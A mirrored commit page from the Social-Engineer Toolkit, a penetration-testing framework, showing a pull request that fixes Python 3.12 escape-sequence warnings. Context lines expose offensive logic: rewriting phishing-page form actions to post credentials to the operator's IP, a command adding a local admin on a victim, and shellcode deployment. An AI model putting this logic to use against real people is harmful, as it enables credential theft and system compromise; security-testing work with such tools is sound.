mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2024-11-22 04:23:06 +00:00
Merge pull request #1094 from elboulangero/fix-python-312-syntax-warnings
Fix various Python 3.12 SyntaxWarning
This commit is contained in:
commit
43a5702025
9 changed files with 16 additions and 15 deletions
|
@ -71,7 +71,7 @@ def send_spoof(params):
|
||||||
### auto_params - makes request to target site, regexes for params
|
### auto_params - makes request to target site, regexes for params
|
||||||
def auto_params(url):
|
def auto_params(url):
|
||||||
try: #parses URL for host and page
|
try: #parses URL for host and page
|
||||||
m = re.search('(https?:\/\/(.*?))\/(.*)',url)
|
m = re.search(r'(https?:\/\/(.*?))\/(.*)',url)
|
||||||
host = str(m.group(1))
|
host = str(m.group(1))
|
||||||
page = "/" + str(m.group(3))
|
page = "/" + str(m.group(3))
|
||||||
except:
|
except:
|
||||||
|
@ -83,7 +83,7 @@ def auto_params(url):
|
||||||
print("\n[-] Unable to reach target website for parsing.\n")
|
print("\n[-] Unable to reach target website for parsing.\n")
|
||||||
sys.exit()
|
sys.exit()
|
||||||
try: #parses target webpage for title
|
try: #parses target webpage for title
|
||||||
m = re.search('<title>(.*)<\/title>', r.text)
|
m = re.search(r'<title>(.*)<\/title>', r.text)
|
||||||
page_title = str(m.group(1))
|
page_title = str(m.group(1))
|
||||||
except:
|
except:
|
||||||
print("\n[-] Unable to parse target page for title.\n")
|
print("\n[-] Unable to parse target page for title.\n")
|
||||||
|
|
|
@ -417,7 +417,7 @@ try:
|
||||||
#
|
#
|
||||||
#
|
#
|
||||||
if attack_vector == "5":
|
if attack_vector == "5":
|
||||||
print (""".______ __ _______ _______ .__ __. __ __ .___ ___.
|
print (r""".______ __ _______ _______ .__ __. __ __ .___ ___.
|
||||||
| _ \ | | | \ | ____|| \ | | | | | | | \/ |
|
| _ \ | | | \ | ____|| \ | | | | | | | \/ |
|
||||||
| |_) | | | | .--. | | |__ | \| | | | | | | \ / |
|
| |_) | | | | .--. | | |__ | \| | | | | | | \ / |
|
||||||
| / | | | | | | | __| | . ` | | | | | | |\/| |
|
| / | | | | | | | __| | . ` | | | | | | |\/| |
|
||||||
|
|
|
@ -1365,7 +1365,7 @@ def kill_proc(port, flag):
|
||||||
proc = subprocess.Popen("netstat -antp | grep '%s'" %
|
proc = subprocess.Popen("netstat -antp | grep '%s'" %
|
||||||
(port), shell=True, stdout=subprocess.PIPE)
|
(port), shell=True, stdout=subprocess.PIPE)
|
||||||
stdout_value = proc.communicate()[0]
|
stdout_value = proc.communicate()[0]
|
||||||
a = re.search("\d+/%s" % (flag), stdout_value)
|
a = re.search(r"\d+/%s" % (flag), stdout_value)
|
||||||
if a:
|
if a:
|
||||||
b = a.group()
|
b = a.group()
|
||||||
b = b.replace("/%s" % (flag), "")
|
b = b.replace("/%s" % (flag), "")
|
||||||
|
@ -1803,7 +1803,7 @@ def printCIDR(c):
|
||||||
|
|
||||||
def validateCIDRBlock(b):
|
def validateCIDRBlock(b):
|
||||||
# appropriate format for CIDR block ($prefix/$subnet)
|
# appropriate format for CIDR block ($prefix/$subnet)
|
||||||
p = re.compile("^([0-9]{1,3}\.){0,3}[0-9]{1,3}(/[0-9]{1,2}){1}$")
|
p = re.compile(r"^([0-9]{1,3}\.){0,3}[0-9]{1,3}(/[0-9]{1,2}){1}$")
|
||||||
if not p.match(b):
|
if not p.match(b):
|
||||||
return False
|
return False
|
||||||
# extract prefix and subnet size
|
# extract prefix and subnet size
|
||||||
|
|
|
@ -32,7 +32,7 @@ except ImportError:
|
||||||
|
|
||||||
|
|
||||||
def usage():
|
def usage():
|
||||||
print("""
|
print(r"""
|
||||||
.______ __ _______ _______ .__ __. __ __ .___ ___.
|
.______ __ _______ _______ .__ __. __ __ .___ ___.
|
||||||
| _ \ | | | \ | ____|| \ | | | | | | | \/ |
|
| _ \ | | | \ | ____|| \ | | | | | | | \/ |
|
||||||
| |_) | | | | .--. | | |__ | \| | | | | | | \ / |
|
| |_) | | | | .--. | | |__ | \| | | | | | | \ / |
|
||||||
|
|
|
@ -21,7 +21,7 @@ print("The" + core.bcolors.BOLD + " SCCM Attack Vector " + core.bcolors.ENDC +
|
||||||
sms_server = input("Enter the IP address or hostname of the SMS Server: ")
|
sms_server = input("Enter the IP address or hostname of the SMS Server: ")
|
||||||
package_id = input("Enter the Package ID of the package you want to patch: ")
|
package_id = input("Enter the Package ID of the package you want to patch: ")
|
||||||
|
|
||||||
configuration = '''
|
configuration = r'''
|
||||||
# configuration file written by Dave DeSimone and Bill Readshaw
|
# configuration file written by Dave DeSimone and Bill Readshaw
|
||||||
# attack vector presented at Defcon 20
|
# attack vector presented at Defcon 20
|
||||||
# added to set 07/27/2012
|
# added to set 07/27/2012
|
||||||
|
|
|
@ -391,7 +391,7 @@ Explanation: Reboots the remote server instantly.
|
||||||
Example: reboot now""")
|
Example: reboot now""")
|
||||||
# if we're running under windows
|
# if we're running under windows
|
||||||
if operating_system == "windows":
|
if operating_system == "windows":
|
||||||
print("""
|
print(r"""
|
||||||
Command: localadmin <username> <password>
|
Command: localadmin <username> <password>
|
||||||
Explanation: adds a local admin to the system
|
Explanation: adds a local admin to the system
|
||||||
Example: localadmin bob p@55w0rd!
|
Example: localadmin bob p@55w0rd!
|
||||||
|
|
|
@ -124,12 +124,12 @@ try:
|
||||||
|
|
||||||
# except keyboardintterupts here
|
# except keyboardintterupts here
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print("""
|
print(r"""
|
||||||
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|
||||||
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
|
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
|
||||||
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
|
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
|
||||||
disabled.\n""")
|
disabled.""")
|
||||||
|
print()
|
||||||
sys.exit("\n[!] Control-C detected. Bombing out. Later Gangster...\n\n")
|
sys.exit("\n[!] Control-C detected. Bombing out. Later Gangster...\n\n")
|
||||||
|
|
||||||
print_status("Generating alpha_mixed shellcode to be injected after shellexec has been deployed on victim...")
|
print_status("Generating alpha_mixed shellcode to be injected after shellexec has been deployed on victim...")
|
||||||
|
|
|
@ -43,11 +43,12 @@ written out through the keyboard.
|
||||||
""")
|
""")
|
||||||
|
|
||||||
# if we hit here we are good since msfvenom is installed
|
# if we hit here we are good since msfvenom is installed
|
||||||
print("""
|
print(r"""
|
||||||
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|
||||||
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
|
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
|
||||||
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
|
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
|
||||||
enabled.\n""")
|
enabled.""")
|
||||||
|
print()
|
||||||
|
|
||||||
# grab the path and filename from user
|
# grab the path and filename from user
|
||||||
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
|
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
|
||||||
|
|
|
@ -76,13 +76,13 @@ for line in fileopen:
|
||||||
# web server running to post the data to your site
|
# web server running to post the data to your site
|
||||||
if ssl_flag == 'false':
|
if ssl_flag == 'false':
|
||||||
line = re.sub(
|
line = re.sub(
|
||||||
'action="http?\w://[\w.\?=/&]*/', 'action="http://%s/' % (ipaddr), line)
|
r'action="http?\w://[\w.\?=/&]*/', 'action="http://%s/' % (ipaddr), line)
|
||||||
if apache_mode == "on":
|
if apache_mode == "on":
|
||||||
line = re.sub(
|
line = re.sub(
|
||||||
'action="*"', 'action="http://%s/post.php"' % (ipaddr), line)
|
'action="*"', 'action="http://%s/post.php"' % (ipaddr), line)
|
||||||
if ssl_flag == 'true':
|
if ssl_flag == 'true':
|
||||||
line = re.sub(
|
line = re.sub(
|
||||||
'action="http?\w://[\w.\?=/&]*/', 'action="https://%s/' % (ipaddr), line)
|
r'action="http?\w://[\w.\?=/&]*/', 'action="https://%s/' % (ipaddr), line)
|
||||||
if apache_mode == "on":
|
if apache_mode == "on":
|
||||||
line = re.sub(
|
line = re.sub(
|
||||||
'action="*"', 'action="http://%s/post.php"' % (ipaddr), line)
|
'action="*"', 'action="http://%s/post.php"' % (ipaddr), line)
|
||||||
|
|
Loading…
Reference in a new issue